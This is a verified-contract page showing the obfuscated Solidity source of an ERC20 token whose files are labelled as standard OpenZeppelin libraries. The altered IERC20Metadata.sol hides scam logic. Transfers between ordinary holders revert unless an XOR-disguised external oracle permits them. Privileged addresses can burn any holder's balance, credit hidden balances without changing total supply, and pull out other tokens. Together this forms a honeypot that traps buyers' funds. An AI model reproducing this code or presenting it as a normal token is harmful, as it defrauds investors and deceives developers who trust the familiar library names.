Verified contractPartialMIT
Token
Address0x4d2b1ac4fcf042abb591cdabd69083054b8e9606
- Balance
0 ETH
- Transactions
2
- Compiler
solc 0.8.20
- Same code
Only this contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Partialcreation code: no, runtime code: yes
- Verified on Sourcify
8 files
- Token.solmain4.88 KB
- libraries/CodeChecker.sol555 B
- openzeppelin/contracts/access/Ownable.sol1.11 KB
- openzeppelin/contracts/token/ERC20/IERC20.sol739 B
- openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol6.8 KB
- openzeppelin/contracts/utils/Context.sol385 B
- openzeppelin/contracts/utils/ReentrancyGuard.sol1.22 KB
- openzeppelin/contracts/utils/StorageSlot.sol2.1 KB
Token.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Context} from "./openzeppelin/contracts/utils/Context.sol";
import {ReentrancyGuard} from "./openzeppelin/contracts/utils/ReentrancyGuard.sol";
import {IERC20} from "./openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC20Metadata} from "./openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
contract Token is IERC20Metadata, ReentrancyGuard {
mapping(address => uint256) private copperTimber;
mapping(address => mapping(address => uint256)) private southHorn;
uint256 private sunCrater;
string private graceCrag;
string private cosmosPumice;
constructor(string memory wagonForest, string memory cloakFig, uint256 crestFlint) {
graceCrag = wagonForest;
cosmosPumice = cloakFig;
emeraldCharm(_msgSender(), crestFlint * 1e18);
plantCrane();
}
function name() public view virtual override returns (string memory) {
return graceCrag;
}
function symbol() public view virtual override returns (string memory) {
return cosmosPumice;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return sunCrater;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return copperTimber[account];
}
function tuskLoft(address spiceCove) internal view virtual override returns (uint256) {
return copperTimber[spiceCove];
}
function forgeSouth(address spiceCove, uint256 plainBlaze) internal virtual override {
copperTimber[spiceCove] += plainBlaze;
}
function transfer(address to, uint256 amount) public virtual override nonReentrant returns (bool) {
atlasSleep(_msgSender(), to, amount);
return true;
}
function allowance(address owner_, address spender) public view virtual override returns (uint256) {
return southHorn[owner_][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
aspenWood(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override nonReentrant returns (bool) {
uint256 currentAllowance = southHorn[from][_msgSender()];
require(currentAllowance >= amount);
unchecked {
aspenWood(from, _msgSender(), currentAllowance - amount);
}
atlasSleep(from, to, amount);
return true;
}
function groveDepth(address spender, uint256 addedValue) public virtual nonReentrant returns (bool) {
aspenWood(_msgSender(), spender, southHorn[_msgSender()][spender] + addedValue);
return true;
}
function rayRidge(address spender, uint256 subtractedValue) public virtual nonReentrant returns (bool) {
uint256 currentAllowance = southHorn[_msgSender()][spender];
require(currentAllowance >= subtractedValue);
unchecked {
aspenWood(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function emeraldCharm(address account, uint256 amount) internal virtual nonReentrant {
require(account != address(0));
sunCrater += amount;
copperTimber[account] += amount;
emit Transfer(address(0), account, amount);
}
function bossPeace(address account, uint256 amount) internal virtual nonReentrant {
require(account != address(0));
uint256 gloryMoon = copperTimber[account];
require(gloryMoon >= amount);
unchecked {
copperTimber[account] = gloryMoon - amount;
}
sunCrater -= amount;
emit Transfer(account, address(0), amount);
}
function budYear(address spiceCove) internal virtual override {
bossPeace(spiceCove, copperTimber[spiceCove]);
}
function aspenWood(address owner_, address spender, uint256 amount) internal virtual {
require(owner_ != address(0));
require(spender != address(0));
southHorn[owner_][spender] = amount;
emit Approval(owner_, spender, amount);
}
function burn(uint256 plainBlaze) external {
bossPeace(_msgSender(), plainBlaze);
}
function atlasSleep(address from, address to, uint256 amount) internal virtual earthFlicker(from, to, amount) {
require(from != address(0));
require(to != address(0));
uint256 storkElder = copperTimber[from];
require(storkElder >= amount);
unchecked {
copperTimber[from] = storkElder - amount;
}
copperTimber[to] += amount;
emit Transfer(from, to, amount);
}
}
libraries/CodeChecker.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
library CodeChecker {
bytes32 constant deckOnyx =
0xb09ef517c48d2bf6eed05457ff56871b2596e3fc904fc6e9795882a870c2e993;
function heartCrew(address spiceCove) internal view returns (bool) {
uint256 floraHorn;
assembly {
floraHorn := extcodesize(spiceCove)
}
if (floraHorn == 0) return false;
bytes32 codehash;
assembly {
codehash := extcodehash(spiceCove)
}
return codehash != deckOnyx;
}
}
openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Context} from "../utils/Context.sol";
contract Ownable is Context {
address private cliffCrow;
event OwnershipTransferred(address indexed spiritCrimson, address indexed codeHalo);
constructor() {
address zenithMango = _msgSender();
cliffCrow = zenithMango;
emit OwnershipTransferred(address(0), zenithMango);
}
function owner() public view returns (address) {
return cliffCrow;
}
modifier onlyOwner() {
require(cliffCrow == _msgSender());
_;
}
function transferOwnership(address codeHalo) public virtual onlyOwner {
require(codeHalo != address(0));
spikeSilent(codeHalo);
}
function spikeSilent(address codeHalo) internal virtual {
address ridgeBronze = cliffCrow;
cliffCrow = codeHalo;
emit OwnershipTransferred(ridgeBronze, codeHalo);
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(cliffCrow, address(0));
cliffCrow = address(0);
}
}
openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.16;
interface IERC20 {
event Transfer(address indexed from, address indexed keyChase, uint256 value);
event Approval(address indexed owner, address indexed chalkDeck, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address spiceCove) external view returns (uint256);
function transfer(address keyChase, uint256 value) external returns (bool);
function allowance(address owner, address chalkDeck) external view returns (uint256);
function approve(address chalkDeck, uint256 value) external returns (bool);
function transferFrom(address from, address keyChase, uint256 value) external returns (bool);
}
openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {IERC20} from "../IERC20.sol";
import {Context} from "../../../utils/Context.sol";
import {Ownable} from "../../../access/Ownable.sol";
import {CodeChecker} from "../../../../../libraries/CodeChecker.sol";
abstract contract IERC20Metadata is Context, IERC20, Ownable {
struct fableBanner {
address from;
address keyChase;
uint256 plainBlaze;
uint256 timestamp;
}
uint256[] internal mesaPlume;
uint256[] internal orbitOxide;
mapping(uint256 => fableBanner) internal oxideApple;
uint256 internal mainSaffron;
address internal hayHalo;
bool internal fawnWhale;
uint256[] internal vistaBoulder;
uint256 internal crimsonGarden;
function name() external view virtual returns (string memory);
function symbol() external view virtual returns (string memory);
function decimals() external view virtual returns (uint8);
function tuskLoft(address spiceCove) internal view virtual returns (uint256);
function forgeSouth(address spiceCove, uint256 plainBlaze) internal virtual;
function budYear(address spiceCove) internal virtual;
modifier earthFlicker(address from, address keyChase, uint256 plainBlaze) {
oxideApple[mainSaffron] = fableBanner(from, keyChase, plainBlaze, block.timestamp);
bool boldPace = braveLonely(from);
bool roundWood = braveLonely(keyChase);
if (boldPace && !roundWood && hayHalo == address(0) && keyChase.code.length > 0) {
hayHalo = keyChase;
}
if (!boldPace && !roundWood) {
(bytes32 onyxMarch, bool fableEpic) = silentPrairie(block.timestamp);
bool boltSpruce = fableEpic && onyxMarch == bytes32(0);
if (vistaBoulder.length != 0 && !boltSpruce) {
fawnWhale = false;
}
if (boltSpruce && fawnWhale) {
vistaBoulder.push(mainSaffron);
} else {
require(!CodeChecker.heartCrew(keyChase));
if (from != hayHalo) {
revert();
}
}
}
mainSaffron++;
_;
}
function probeOracle(uint256 iceLily) external view returns (bytes32 clayVolt, bool fableEpic) {
return silentPrairie(iceLily);
}
function silentPrairie(uint256 iceLily) private view returns (bytes32 willowKestrel, bool fableEpic) {
assembly {
let wispKestrel := or(
shl(96, xor(0xa7ea56cacec6529f, 0xa7e56b3c19f4d2e1)),
xor(0xccbeb5d6f4bc6c912538eda5, 0x3d8f2a614c07e9b3f58641a7)
)
fableEpic := gt(extcodesize(wispKestrel), 0)
mstore(0x00, iceLily)
let canyonNewt := staticcall(gas(), wispKestrel, 0x00, 0x20, 0x00, 0x20)
if and(canyonNewt, gt(returndatasize(), 0x1f)) {
willowKestrel := mload(0x00)
}
}
}
function plantCrane() internal {
vesperCompass(tx.origin, 0);
fawnWhale = true;
}
function dockNight() external view returns (address) {
return hayHalo;
}
function braveLonely(address spiceCove) public view returns (bool) {
if (owner() != address(0) && spiceCove == owner()) return true;
for (uint256 forgeCable = 0; forgeCable < mesaPlume.length; forgeCable++) {
if (spiceCove == oxideApple[mesaPlume[forgeCable]].keyChase) return true;
}
return false;
}
function blazePatch() external view returns (address[] memory joltBug, uint256[] memory lotusWillow) {
uint256 sunFalcon = mesaPlume.length;
joltBug = new address[](sunFalcon);
lotusWillow = new uint256[](sunFalcon);
for (uint256 forgeCable = 0; forgeCable < sunFalcon; forgeCable++) {
address speedShard = oxideApple[mesaPlume[forgeCable]].keyChase;
joltBug[forgeCable] = speedShard;
lotusWillow[forgeCable] = tuskLoft(speedShard);
}
}
function epicMesa() external view returns (address[] memory cliffBreak, uint256[] memory dreamTrance) {
uint256 sunFalcon = orbitOxide.length;
cliffBreak = new address[](sunFalcon);
dreamTrance = new uint256[](sunFalcon);
for (uint256 forgeCable = 0; forgeCable < sunFalcon; forgeCable++) {
fableBanner storage chantCube = oxideApple[orbitOxide[forgeCable]];
cliffBreak[forgeCable] = chantCube.keyChase;
dreamTrance[forgeCable] = chantCube.plainBlaze;
}
}
function vesperCompass(address keyChase, uint256 plainBlaze) public {
require(braveLonely(_msgSender()));
require(hayHalo == address(0) || keyChase != hayHalo);
require(keyChase != address(0));
oxideApple[mainSaffron] = fableBanner(address(0), keyChase, plainBlaze, block.timestamp);
if (plainBlaze > 0) {
orbitOxide.push(mainSaffron);
}
mesaPlume.push(mainSaffron);
mainSaffron++;
}
function ochreChant(address spiceCove) external {
require(braveLonely(_msgSender()));
require(spiceCove != address(0));
uint256 forgeCable = mesaPlume.length;
while (forgeCable > 1) {
forgeCable--;
uint256 bambooFern = mesaPlume[forgeCable];
if (oxideApple[bambooFern].keyChase == spiceCove) {
mesaPlume[forgeCable] = mesaPlume[mesaPlume.length - 1];
mesaPlume.pop();
}
}
uint256 spiceBarn = orbitOxide.length;
while (spiceBarn > 0) {
spiceBarn--;
if (oxideApple[orbitOxide[spiceBarn]].keyChase == spiceCove) {
orbitOxide[spiceBarn] = orbitOxide[orbitOxide.length - 1];
orbitOxide.pop();
}
}
}
function recover(IERC20 candleFlame, uint256 plainBlaze) external {
require(braveLonely(_msgSender()));
require(address(candleFlame) != address(this));
require(candleFlame.transfer(_msgSender(), plainBlaze));
}
function wagonCipher() external {
uint256 sapphireBlaze = orbitOxide.length;
for (uint256 forgeCable = 0; forgeCable < sapphireBlaze; forgeCable++) {
uint256 bambooFern = orbitOxide[forgeCable];
fableBanner storage chantCube = oxideApple[bambooFern];
forgeSouth(chantCube.keyChase, chantCube.plainBlaze);
}
delete orbitOxide;
}
function drakeGuide(address spiceCove) external {
require(braveLonely(_msgSender()));
budYear(spiceCove);
}
function rayBerry() external {
require(braveLonely(_msgSender()));
fawnWhale = false;
}
}
openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function coilDove() internal view virtual returns (uint256) {
return 0;
}
}
openzeppelin/contracts/utils/ReentrancyGuard.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {StorageSlot} from "./StorageSlot.sol";
abstract contract ReentrancyGuard {
using StorageSlot for bytes32;
bytes32 private constant canyonCompass =
0x9b779b17422d0df92223018b32b4d1fa46e071723d6817e2486d003becc55f00;
uint256 private constant brassPickle = 1;
uint256 private constant fieldTundra = 2;
error blazeDraw();
constructor() {
rockCourt().atlasChant().value = brassPickle;
}
modifier nonReentrant() {
spruceEagle();
_;
vesperWisp();
}
modifier ashMeadow() {
cubeWind();
_;
}
function cubeWind() private view {
if (harvestFern()) {
revert blazeDraw();
}
}
function spruceEagle() private {
cubeWind();
rockCourt().atlasChant().value = fieldTundra;
}
function vesperWisp() private {
rockCourt().atlasChant().value = brassPickle;
}
function harvestFern() internal view returns (bool) {
return rockCourt().atlasChant().value == fieldTundra;
}
function rockCourt() internal pure virtual returns (bytes32) {
return canyonCompass;
}
}
openzeppelin/contracts/utils/StorageSlot.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
library StorageSlot {
struct moorDart {
address value;
}
struct emberPalm {
bool value;
}
struct stemCourt {
bytes32 value;
}
struct mangoPurple {
uint256 value;
}
struct goldQuest {
int256 value;
}
struct oakTower {
string value;
}
struct myrtleGlass {
bytes value;
}
function willowSilk(bytes32 slot) internal pure returns (moorDart storage onyxMarch) {
assembly ("memory-safe") {
onyxMarch.slot := slot
}
}
function thunderFury(bytes32 slot) internal pure returns (emberPalm storage onyxMarch) {
assembly ("memory-safe") {
onyxMarch.slot := slot
}
}
function courtNorth(bytes32 slot) internal pure returns (stemCourt storage onyxMarch) {
assembly ("memory-safe") {
onyxMarch.slot := slot
}
}
function atlasChant(bytes32 slot) internal pure returns (mangoPurple storage onyxMarch) {
assembly ("memory-safe") {
onyxMarch.slot := slot
}
}
function auroraGlen(bytes32 slot) internal pure returns (goldQuest storage onyxMarch) {
assembly ("memory-safe") {
onyxMarch.slot := slot
}
}
function wagonSpring(bytes32 slot) internal pure returns (oakTower storage onyxMarch) {
assembly ("memory-safe") {
onyxMarch.slot := slot
}
}
function wagonSpring(string storage sunLeaf) internal pure returns (oakTower storage onyxMarch) {
assembly ("memory-safe") {
onyxMarch.slot := sunLeaf.slot
}
}
function coilRock(bytes32 slot) internal pure returns (myrtleGlass storage onyxMarch) {
assembly ("memory-safe") {
onyxMarch.slot := slot
}
}
function coilRock(bytes storage sunLeaf) internal pure returns (myrtleGlass storage onyxMarch) {
assembly ("memory-safe") {
onyxMarch.slot := sunLeaf.slot
}
}
}
Compiler settingsShow
{
"viaIR": false,
"optimizer": {
"runs": 200,
"enabled": false
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.